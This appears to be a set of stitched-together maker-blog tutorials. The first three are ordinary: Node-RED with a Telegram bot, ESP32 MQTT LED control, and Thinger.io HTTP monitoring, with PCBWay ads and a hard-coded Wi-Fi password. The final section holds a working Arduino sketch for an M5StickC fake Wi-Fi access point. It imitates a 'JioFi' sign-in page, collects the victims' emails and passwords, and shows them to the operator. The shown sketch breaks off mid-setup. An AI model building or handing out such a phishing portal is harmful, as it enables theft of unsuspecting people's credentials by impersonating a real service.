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Telegram is a popular messaging app that offers end-to-end encryption, cloud-based storage, and a variety of features for communication. One of these features is the ability to create and interact with bots, which are automated programs that can perform tasks or provide information. In this blog post, I will show you how to use Telegram bots to control your home automation system with Node-RED, a visual programming tool that allows you to connect and orchestrate devices, services, and APIs. Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Also, check out this useful blog on PCBWay Plugin for KiCad from here. Using this plugin, you can directly order PCBs in just one click after completing your design in KiCad. 1. What You Need: To follow this tutorial, you will need: A Telegram account and a smartphone with the Telegram app installed. A Node-RED instance running on a device that can access your home automation system. You can use a Raspberry Pi, a computer, or a cloud service. For more information on how to install and run Node-RED, see here. The node-red-contrib-telegrambot node provides Telegram bot nodes for Node-RED. You can install it from the Node-RED palette manager or by running the following command in your Node-RED directory: npm install node-red-contrib-telegrambot A Telegram bot token is a unique identifier for your bot. You can create a bot and get its token by talking to the @BotFather bot on Telegram. For more details. A chat ID is a unique identifier for the chat between you and your bot. You can get your chat ID by sending a message to your bot. 2. How It Works: The basic idea is to use Node-RED to create a flow that receives messages from your Telegram bot, parses them to extract commands or queries, and then sends commands or responses back to your bot. The node-red-contrib-telegrambot node provides two main nodes for this purpose: the receiver node and the sender node. The receiver node listens for messages from your bot and outputs a message object with the following properties: msg.payload.chatId: The chat ID of the sender. msg.payload.type: The type of the message, such as “message”, “photo”, “location”, etc. msg.payload.content: The content of the message, such as a text string, a file ID, or an object with additional data. The sender node takes a message object as input and sends it to your bot. The message object should have the following properties: msg.payload.chatId: The chat ID of the recipient. msg.payload.type: The type of the message, such as “message”, “photo”, “location”, etc. msg.payload.content: The content of the message, such as a text string, a file ID, or an object with additional data. You can use other nodes in between the receiver and sender nodes to process the messages and perform actions on your home automation system. For example, you can use a switch node to route messages based on their type or content, a function node to write custom logic in JavaScript, or an HTTP request node to call external APIs. 3. A little recap of the previous blog: In the previous blog, we have seen how to use the telegram bot with node-red to trigger the temperature data. In this blog, we are going to see how to automate and trigger the Telegram bot to control the GPIO. 4. Telegram to Node-Red: In the last article, we have seen how to trigger the sensor readings from Node-Red to Telegram, now let's see how to trigger and get the sensor data from Telegram Bot. First, we need to use the telegram receiver node. And configure the node with your bot credentials. Then add a debug block. Next, just try to send some messages to your bot and look at the response in the debug console. Now, you can see your texts are coming under payload.content. So, we are going to filter the content then based on the content we are going to trigger the actions. Here are my complete blocks. In this, I have tried to filter the contents as Green, Red, Blue, Off, and Env. Based on the contents we are going to trigger the neo pixels with certain colors. Finally, just deploy the flow, open the telegram bot, and test out the connections. Let's try out the neo pixels. [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "ea63aa67.c972f", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Temperature : {{payload}}, Humidity : {{humidity}}\"}", "output": "json", "x": 660, "y": 360, "wires": [ [ "9e00d0a7.d5ccf", "600063bd96d765e6" ] ] }, { "id": "9e00d0a7.d5ccf", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 830, "y": 300, "wires": [] }, { "id": "600063bd96d765e6", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 830, "y": 380, "wires": [ [], [] ] }, { "id": "f2f9819ae972ae60", "type": "rpi-dht22", "z": "eb8f9c0d054be30c", "name": "", "topic": "rpi-dht22", "dht": "11", "pintype": 1, "pin": "7", "x": 500, "y": 380, "wires": [ [ "ea63aa67.c972f" ] ] }, { "id": "e4b8f2dd860a7973", "type": "telegram receiver", "z": "eb8f9c0d054be30c", "name": "", "bot": "ae1a60539b8e5308", "saveDataDir": "", "filterCommands": false, "x": 290, "y": 200, "wires": [ [ "ea58984a24ea493e" ], [] ] }, { "id": "ea58984a24ea493e", "type": "switch", "z": "eb8f9c0d054be30c", "name": "", "property": "payload.content", "propertyType": "msg", "rules": [ { "t": "eq", "v": "Green", "vt": "str" }, { "t": "eq", "v": "Red", "vt": "str" }, { "t": "eq", "v": "Off", "vt": "str" }, { "t": "eq", "v": "Blue", "vt": "str" }, { "t": "eq", "v": "Env", "vt": "str" }, { "t": "eq", "v": "Rainbow", "vt": "str" } ], "checkall": "true", "repair": false, "outputs": 6, "x": 450, "y": 140, "wires": [ [ "b410ed94340bb528" ], [ "13aa73e421c429c7" ], [ "4ed36e19be451327" ], [ "db816a1f10392614" ], [ "f2f9819ae972ae60" ], [] ] }, { "id": "b0edb6e1c2807920", "type": "rpi-neopixels", "z": "eb8f9c0d054be30c", "name": "Neo Pixel", "gpio": "18", "pixels": "8", "bgnd": "", "fgnd": "", "wipe": "60", "mode": "pixels", "rgb": "rgb", "brightness": "100", "gamma": true, "x": 660, "y": 100, "wires": [] }, { "id": "13aa73e421c429c7", "type": "function", "z": "eb8f9c0d054be30c", "name": "Red Led", "func": "\nmsg.payload = \"255,0,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 660, "y": 200, "wires": [ [ "b0edb6e1c2807920", "0d73aa1efdf96848" ] ] }, { "id": "b410ed94340bb528", "type": "function", "z": "eb8f9c0d054be30c", "name": "Green Led", "func": "\nmsg.payload = \"0,255,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 670, "y": 160, "wires": [ [ "b0edb6e1c2807920", "c173db3cc3868fe8" ] ] }, { "id": "4ed36e19be451327", "type": "function", "z": "eb8f9c0d054be30c", "name": "Off", "func": "\nmsg.payload = \"0,0,0\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 650, "y": 240, "wires": [ [ "b0edb6e1c2807920", "02e43d4dd4523371" ] ] }, { "id": "db816a1f10392614", "type": "function", "z": "eb8f9c0d054be30c", "name": "Blue Led", "func": "\nmsg.payload = \"0,0,255\"\nreturn msg;\n\n\n", "outputs": 1, "timeout": "", "noerr": 0, "initialize": "", "finalize": "", "libs": [], "x": 660, "y": 280, "wires": [ [ "b0edb6e1c2807920", "15dcd2ff9b951c47" ] ] }, { "id": "c173db3cc3868fe8", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Green LED Triggered\"}", "output": "json", "x": 860, "y": 80, "wires": [ [ "62f3360544d9ca11", "4abe16519bcdcaca" ] ] }, { "id": "62f3360544d9ca11", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 80, "wires": [] }, { "id": "4abe16519bcdcaca", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 120, "wires": [ [], [] ] }, { "id": "0d73aa1efdf96848", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Red LED Triggered\"}", "output": "json", "x": 860, "y": 120, "wires": [ [ "4795fb81ce5c47a6", "12c1a78b02583d94" ] ] }, { "id": "4795fb81ce5c47a6", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 180, "wires": [] }, { "id": "12c1a78b02583d94", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 220, "wires": [ [], [] ] }, { "id": "15dcd2ff9b951c47", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"Blue LED Triggered\"}", "output": "json", "x": 860, "y": 160, "wires": [ [ "751fda5416547778", "46ea1f39f11d1b65" ] ] }, { "id": "751fda5416547778", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 280, "wires": [] }, { "id": "46ea1f39f11d1b65", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 320, "wires": [ [], [] ] }, { "id": "02e43d4dd4523371", "type": "template", "z": "eb8f9c0d054be30c", "name": "", "field": "payload", "fieldType": "msg", "format": "handlebars", "syntax": "mustache", "template": "{\"chatId\": 5379039379,\n\"type\":\"message\",\n\"content\":\"LED Off\"}", "output": "json", "x": 860, "y": 220, "wires": [ [ "e9aaa495e9c42799", "0730f1a37c585783" ] ] }, { "id": "e9aaa495e9c42799", "type": "debug", "z": "eb8f9c0d054be30c", "name": "", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 1030, "y": 380, "wires": [] }, { "id": "0730f1a37c585783", "type": "telegram sender", "z": "eb8f9c0d054be30c", "name": "roboerto_bot", "bot": "ae1a60539b8e5308", "haserroroutput": true, "outputs": 2, "x": 1030, "y": 420, "wires": [ [], [] ] }, { "id": "e30abb1d7e9afcb0", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Green", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 280, "wires": [ [ "b410ed94340bb528" ] ] }, { "id": "4a2a01d9556ad50f", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Blue", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 360, "wires": [ [ "db816a1f10392614" ] ] }, { "id": "3f3ce5ea96251201", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Red", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 320, "wires": [ [ "13aa73e421c429c7" ] ] }, { "id": "3f2c1cebdde09f03", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Off", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 400, "wires": [ [ "4ed36e19be451327" ] ] }, { "id": "26b87a7af5f875cc", "type": "inject", "z": "eb8f9c0d054be30c", "name": "Env", "props": [ { "p": "payload" }, { "p": "topic", "vt": "str" } ], "repeat": "", "crontab": "", "once": false, "onceDelay": 0.1, "topic": "", "payload": "", "payloadType": "date", "x": 290, "y": 440, "wires": [ [ "f2f9819ae972ae60" ] ] }, { "id": "ae1a60539b8e5308", "type": "telegram bot", "botname": "roboerto_bot", "usernames": "", "chatids": "", "baseapiurl": "", "updatemode": "polling", "pollinterval": "300", "usesocks": false, "sockshost": "", "socksprotocol": "socks5", "socksport": "6667", "socksusername": "anonymous", "sockspassword": "", "bothost": "", "botpath": "", "localbotport": "8443", "publicbotport": "8443", "privatekey": "", "certificate": "", "useselfsignedcertificate": false, "sslterminated": false, "verboselogging": false } ] 5. Conclusion: In this blog post, I showed you how to use Telegram bots to control your home automation system with Node-RED. You can use this method to create your own custom interface for your smart home devices and services. You can also extend the functionality of your bot by adding more nodes and logic to your flow. For example, you can use the command node to create custom commands with parameters, the callback query node to handle inline buttons, or the answer inline query node to provide suggestions. You can also use other nodes from the node-red-contrib-telegrambot package or other Node-RED packages to integrate with more Telegram features or other platforms. I hope you enjoyed this tutorial and learned something new. If you have any questions or feedback, please leave a comment below. Happy coding!

Introduction In this tutorial, you will learn how to use Node-RED, a visual programming tool for the Internet of Things (IoT), to control an LED on an ESP32 board with a Raspberry Pi as the MQTT broker. MQTT is a lightweight and simple messaging protocol that allows devices to communicate with each other over a network. You will need the following components for this project: ESP32 development board USB cable to connect the ESP32 to your computer Raspberry Pi with Node-RED Computer with Arduino IDE and PubSubClient library installed Get PCBs For Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Step 1: Create a Device on Qubitro The first step is to create a device on the Qubitro platform. A device represents your physical device (Raspberry Pi) on the cloud. You need to create a device to obtain the MQTT credentials and topics for your Raspberry Pi. To create a device on Qubitro, follow these steps: 1. Log in to your Qubitro account and create a new project 2. Then go to the Devices page, select MQTT as the communication protocol, and click Next. 3. Enter all the details. 4. Copy the Device ID, Device Token, Hostname, Port, Publish Topic, and Subscribe Topic. You will need these values later in the code. Click Finish. You have successfully created a device on Qubitro. You can see your device on the Devices page. Step 2: Flash ESP32 with Arduino IDE The ESP32 is a powerful and versatile microcontroller that can run Arduino code. You will use the Arduino IDE to program the ESP32 and make it communicate with the MQTT broker using the PubSubClient library. To install the ESP32 board in Arduino IDE, you can follow the instructions in this tutorial or use the steps below: Open the preferences window from the Arduino IDE: File > Preferences. Go to the “Additional Board Manager URLs” field and enter the following URL: https://dl.espressif.com/dl/package_esp32_index.json. Open Boards Manager (Tools > Board > Boards Manager), search for ESP32, and click the install button for the “ESP32 by Espressif Systems”. Select your ESP32 board from Tools > Board menu after installation. Open the library manager from Sketch > Include Library > Manage Libraries. Search for PubSubClient and click the install button for the “PubSubClient by Nick O’Leary”. Restart your Arduino IDE after installation. Step 3: Connect LED to ESP32 The LED is a simple device that emits light when current flows through it. You will connect the LED to one of the GPIO pins of the ESP32 and control its state (on or off) with MQTT messages. In my case I'm going to use the onboard LED in the ESP32 Dev board. Step 4: Write Code for ESP32 The code for the ESP32 will do the following tasks: Connect to your Wi-Fi network Connect to the Qubitro MQTT broker on Raspberry Pi Receive messages from “output” and turn on or off the LED accordingly You can copy and paste the code below into your Arduino IDE. Make sure to replace <your_ssid>, <your_password>, <your_Qubtro_Credientials> with your own values. #include <WiFi.h> #define DEBUG_SW 1 #include <PubSubClient.h> //Relays for switching appliances #define Relay1 2 int switch_ON_Flag1_previous_I = 0; // Update these with values suitable for your network. const char* ssid = "ELDRADO"; const char* password = "amazon123"; const char* mqtt_server = "broker.qubitro.com"; // Local IP address of Raspberry Pi const char* username = ""; const char* pass = ""; // Subscribed Topics #define sub1 "output" WiFiClient espClient; PubSubClient client(espClient); unsigned long lastMsg = 0; #define MSG_BUFFER_SIZE (50) char msg[MSG_BUFFER_SIZE]; int value = 0; // Connecting to WiFi Router void setup_wifi() { delay(10); // We start by connecting to a WiFi network Serial.println(); Serial.print("Connecting to "); Serial.println(ssid); WiFi.mode(WIFI_STA); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } randomSeed(micros()); Serial.println(""); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } void callback(char* topic, byte* payload, unsigned int length) { Serial.print("Message arrived ["); Serial.print(topic); Serial.print("] "); if (strstr(topic, sub1)) { for (int i = 0; i < length; i++) { Serial.print((char)payload[i]); } Serial.println(); // Switch on the LED if an 1 was received as first character if ((char)payload[0] == 'f') { digitalWrite(Relay1, LOW); // Turn the LED on (Note that LOW is the voltage level // but actually the LED is on; this is because // it is active low on the ESP-01) } else { digitalWrite(Relay1, HIGH); // Turn the LED off by making the voltage HIGH } } else { Serial.println("unsubscribed topic"); } } // Connecting to MQTT broker void reconnect() { // Loop until we're reconnected while (!client.connected()) { Serial.print("Attempting MQTT connection..."); // Create a random client ID String clientId = "ESP8266Client-"; clientId += String(random(0xffff), HEX); // Attempt to connect if (client.connect(clientId.c_str() , username, pass)) { Serial.println("connected"); // Once connected, publish an announcement... client.publish("outTopic", "hello world"); // ... and resubscribe client.subscribe(sub1); } else { Serial.print("failed, rc="); Serial.print(client.state()); Serial.println(" try again in 5 seconds"); // Wait 5 seconds before retrying delay(5000); } } } void setup() { pinMode(Relay1, OUTPUT); Serial.begin(115200); setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } void loop() { if (!client.connected()) { reconnect(); } client. Loop(); } After writing the code, upload it to your ESP32 board by selecting the right board and port from the Tools menu and clicking the upload button. Step 5: Create Node-RED Flow The Node-RED flow will do the following tasks: Connect to the MQTT broker on Raspberry Pi Subscribe to a topic named “output” Publish messages “true” or “false” to a topic named “output” Create a dashboard with a button and a text node You can create the Node-RED flow by dragging and dropping nodes from the palette and connecting them with wires. You can also import the flow from this link or use the JSON code below: [ { "id": "eb8f9c0d054be30c", "type": "tab", "label": "Flow 2", "disabled": false, "info": "", "env": [] }, { "id": "4ce6cd876fd5441f", "type": "mqtt out", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "", "retain": "", "respTopic": "", "contentType": "", "userProps": "", "correl": "", "expiry": "", "broker": "6d40b7b21c734b53", "x": 870, "y": 240, "wires": [] }, { "id": "974a7a8bb6db9bf9", "type": "mqtt in", "z": "eb8f9c0d054be30c", "name": "", "topic": "output", "qos": "2", "datatype": "auto-detect", "broker": "6d40b7b21c734b53", "nl": false, "rap": true, "rh": 0, "inputs": 0, "x": 670, "y": 320, "wires": [ [ "d0dc7378c7bfb03b", "f1219a2eeabe825f" ] ] }, { "id": "d0dc7378c7bfb03b", "type": "debug", "z": "eb8f9c0d054be30c", "name": "debug 4", "active": true, "tosidebar": true, "console": false, "tostatus": false, "complete": "payload", "targetType": "msg", "statusVal": "", "statusType": "auto", "x": 880, "y": 320, "wires": [] }, { "id": "6bd227b280e372b7", "type": "ui_switch", "z": "eb8f9c0d054be30c", "name": "", "label": "Light One", "tooltip": "", "group": "cd687a95.00e108", "order": 0, "width": 0, "height": 0, "passthru": true, "decouple": "false", "topic": "topic", "topicType": "msg", "style": "", "onvalue": "true", "onvalueType": "bool", "onicon": "", "oncolor": "", "offvalue": "false", "offvalueType": "bool", "officon": "", "offcolor": "", "animate": false, "x": 680, "y": 240, "wires": [ [ "4ce6cd876fd5441f" ] ] }, { "id": "f1219a2eeabe825f", "type": "ui_text", "z": "eb8f9c0d054be30c", "group": "cd687a95.00e108", "order": 1, "width": "6", "height": "2", "name": "", "label": "Status : ", "format": "{{msg.payload}}", "layout": "row-center", "x": 1060, "y": 320, "wires": [] }, { "id": "6d40b7b21c734b53", "type": "mqtt-broker", "name": "Qubitro Downlink", "broker": "broker.qubitro.com", "port": "1883", "clientid": "", "autoConnect": true, "usetls": false, "protocolVersion": "4", "keepalive": "60", "cleansession": true, "autoUnsubscribe": true, "birthTopic": "r43MsJYzcVwZtUXVfZo6XD0Ym7CRegewPQXMt$ho", "birthQos": "0", "birthPayload": "", "birthMsg": {}, "closeTopic": "", "closeQos": "0", "closePayload": "", "closeMsg": {}, "willTopic": "", "willQos": "0", "willPayload": "", "willMsg": {}, "userProps": "", "sessionExpiry": "" }, { "id": "cd687a95.00e108", "type": "ui_group", "name": "ESP32 Home Controller", "tab": "aa146f4d.b53ca", "order": 1, "disp": true, "width": "6", "collapse": false }, { "id": "aa146f4d.b53ca", "type": "ui_tab", "name": "Demo Lab", "icon": "dashboard", "order": 1, "disabled": false, "hidden": false } ] The input switch will send "true" when it is on, and it will send "false" when it triggers off. Then click on the Qubitro uplink pallet and edit the property. Here you need to replace your connection details and credentials. Next, just deploy the flow. And navigate to the /ui of the node-red server. Here you can toggle the switch to turn the lead on and off. Also, open the serial monitor and check the node-red response. Conclusion: In this tutorial, we have seen how to control the LED with Node-Red and MQTT Server.

About the project Monitor your HTTP Device on Thinger. io Platform. Easy Documentation to start in seconds. Items used in this project Hardware components Espressif ESP32 Development Board - Developer Edition Software apps and online services Thinger.io What is Thinger.io? Thinger.io is a cloud IoT Platform that provides every needed tool to prototype, scale, and manage connected products in a very simple way. They target to democratize the use of IoT making it accessible to the whole world, and streamlining the development of big IoT projects. Free IoT platform: Thinger.io provides a lifetime freemium account with only a few limitations to start learning and prototyping when your product becomes ready to scale, you can deploy a Premium Server with full capacities within minutes. Simple but Powerful: Just a couple of code lines to connect a device and start retrieving data or controlling its functionalities with our web-based Console, able to connect and manage thousands of devices in a simple way. Hardware agnostic: Any device from any manufacturer can be easily integrated with Thinger.io's infrastructure. Extremely scalable & efficient infrastructure: A single Thinger.io instance is able to manage thousands of IoT devices with low computational load, bandwidth, and latencies. Open-Source: Most platform modules, libraries, and APP source code are available in our Github repository to be downloaded and modified with an MIT license. Custom PCB on your Way! Modern methods of developing, got easier with software services. For hardware services, we have limited options. Hence PCBWay gives the opportunity to get custom PCB manufactured for hobby projects as well as sample pieces, in very less delivery time Get discount on the first order of 10 PCB Boards. Now, PCBWay also offers end-to-end options for our products including hardware enclosures. So, if you design PCBs, get it printed in a few steps! Features of Thinger.io This IoT Platform provides even more features that are fully customizable and allows IoT connectivity on different protocols, so as to provide customized data in whatever form we need on the Dashboard. Connect devices: Fully compatible with every kind of device, no matter the processor, the network, or the manufacturer. Thinger.io allows the creation of, bidirectional communications with Linux, Arduino, Raspberry Pi, or MQTT devices and even with edge technologies like Sigfox or LoRaWAN or other internet API data resources. Store Device Data: Create a Data Bucket a store IoT data in a scalable, efficient, and affordable way, that also allows real-time data aggregation. Display Real-time or Stored Data in multiple widgets such as time series, donut charts, gauges, or even custom-made representations to create awesome dashboards within minutes. Trigger events and data values using an embedded Node-RED rule engine. Extend with custom features with multiple plugins to integrate IoT projects into any third-party Internet service and allow introducing your branding colors, logotypes, and web domain. Getting Started Let us get started on using the platform, from creating an account. This method would work for most of the free IoT platforms and is very basic to get started. Go to the Thinger.io website (https://thinger.io/) and click on the "Get Started" button. You will be redirected to the login page. There, click on "Create an Account" and sign up with details like username, email, password, and sector. Under the sector category, the best way to get started would be choosing the 'Maker', so that we can use it for our personal projects too. Once, we have created the account, we can log in from https://console.thinger.io/login. However, we shall automatically be logged in to our account. Add a Device Once we log in, and the Statistics panel opens, we can head to the Devices section and click on Add a Device. From there, provide the details - Device Type - Choice between IoTMP / HTTP / MQTT / NB-IoT. We chose HTTP to continue this article Device ID - We can keep any name, but preferably the device we are using, to be mentioned here - 'ESP32' Device Name - Keep anything, but we kept it as 'ESP32_SCHOOLOFIOT' Device Description - Mention in a single line its function use, like "ESP32 Device for Hackster.io" Once the Device is created, we'd be able to view the status tab of the device. It is the dashboard with device-specific details and provides insight on the condition of it. Let us move ahead now. Device Property - Devices All the data, from so many resources and groups that accumulate through the platform needs to have a property, which we can use to identify and use it for storage of current data - Not historical. To create properties, visit Devices > Properties > Add Property. Once the identifier is entered, enter the property value in the form of JSON for payload data, and some other format (or even JSON) for response of data upon called. I have created a device property to respond with 1 when request is successful. Notice that the value of BME data is in JSON object format, this allows us to store and utilize the same device property to store multiple data with a single call. Dashboards - Data Monitoring When monitoring end devices, or controlling them, we need an interface to monitor all those device data, and visualize according to the type of data. For example, if we are monitoring the climate or surroundings of a device, using sensors to detect temperature and humidity, we'd need a time-series graph. Add a new Dashboard, and give a name to that - Once the dashboard is created, open the blank dashboard, and on the top right corner, click on 'Edit' button, which will reveal other options. From here, click on 'Add Widget'. Enter the configurations according to your requirement, based on the payload data. Once all the widgets have been created, we can view the graph in it's default value as per device property. CallBack Function To be able to make an HTTP Request, we need the endpoint and a sample of the payload, that the Platform's backend would receive so as to display on the dashboard. To view details on the callback, search for the callback tab (current version - top right corner dropdown) Now open settings and select the Device Property we created. Enter the details provided below. Click on 'Save' to make sure the end point of the server is ready to receive data. For testing, I used an API testing tool 'ThunderClient', and noticed that it worked great. After a few different data on the content, we could see the variations in the time series graph. Now, let us move to our ESP32 Dev Board hardware, and code it. Code Changes Visit Code Section and Download the Code. Below are the variables that need to be changed in the shared code - const char* ssid = " "; const char* password = " "; String serverName = "https://backend.thinger.io/v3/users/<yourusername>/devices/<devicename>/callback/data"; const char* token = "Bearer <token>"; Add the SSID and Password of your wifi network. Then enter the server URL and Authentication as per your callback overview. After pushing the data, from ESP32 Dev Board, thingerIoUsingHttpclientArduinojsonLibrary.ino thingerIoUsingHttpclientArduinojsonLibrary.ino

Will guide you to build a Captive Portal with M5Stick C to capture the login details. Story A Wi-Fi honeypot is a fake wireless network that is set up to lure unsuspecting users and collect their data or infect their devices with malware. It is a common technique used by hackers and cybercriminals to exploit the public’s demand for free Wi-Fi access. In this tutorial, will guide you to build a Wi-Fi honeypot with M5Stick C. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Hardware Overview - M5Stick 😄 M5StickC is a mini IoT development board powered by ESP32, a microcontroller with Wi-Fi and Bluetooth capabilities. It is a portable, easy-to-use, open-source device that can help you realize your ideas, enhance your creativity, and speed up your IoT prototyping. It has a 0.96-inch TFT color screen, a red LED, a button, a microphone, an IR transmitter, a 6-axis IMU, and a 95 mAh battery. It also supports various extensions and modules that can add more functionality to the board. You can program it using different platforms such as UIFlow, MicroPython, Arduino, or .NET nano Framework. Arduino Sketch Overview: Here is the complete Arduino sketch to initiate the Wi-Fi honeypot in the M5Stick C, it will create a free access point and once the user is connected to the access point it will ask for the user credentials. Once we get the credentials it will blink the LED and alert us. Also, we can view the captured passwords via the same access point. Here are the main Wi-Fi AP configurations, you can configure as per your need. Once the victim logged the credentials, this function will start to work. Here is the complete Arduino sketch. #include <M5StickC.h> #include <WiFi.h> #include <DNSServer.h> #include <WebServer.h> // User configuration #define SSID_NAME "JioFi L3M378" #define SUBTITLE "JioFi WiFi service." #define TITLE "Sign in:" #define BODY "Create an account to get connected to the internet." #define POST_TITLE "Validating..." #define POST_BODY "Your account is being validated. Please, wait up to 5 minutes for device connection.</br>Thank you." #define PASS_TITLE "Credentials" #define CLEAR_TITLE "Cleared" int capcount=0; int BUILTIN_LED = 10; // Init System Settings const byte HTTP_CODE = 200; const byte DNS_PORT = 53; const byte TICK_TIMER = 1000; IPAddress APIP(172, 0, 0, 1); // Gateway String Credentials = ""; unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0; DNSServer dnsServer; WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<", "&lt;"); a.replace(">", "&gt;"); a.substring(0, 200); return a; } String footer() { return "</div><div class=q><a>&#169; All rights reserved.</a></div>"; } String header(String t) { String a = String(SSID_NAME); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String creds() { return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + "<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" + "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer(); } String posted() { String email = input("email"); String password = input("password"); Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials; return header(POST_TITLE) + POST_BODY + footer(); } String clear() { String email = "<p></p>"; String password = "<p></p>"; Credentials = "<p></p>"; return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The internal LED will blink 5 times when a password is received. int count = 0; while (count < 5) { digitalWrite(BUILTIN_LED, LOW); delay(500); digitalWrite(BUILTIN_LED, HIGH); delay(500); count = count + 1; } } void setup() { M5.begin(); 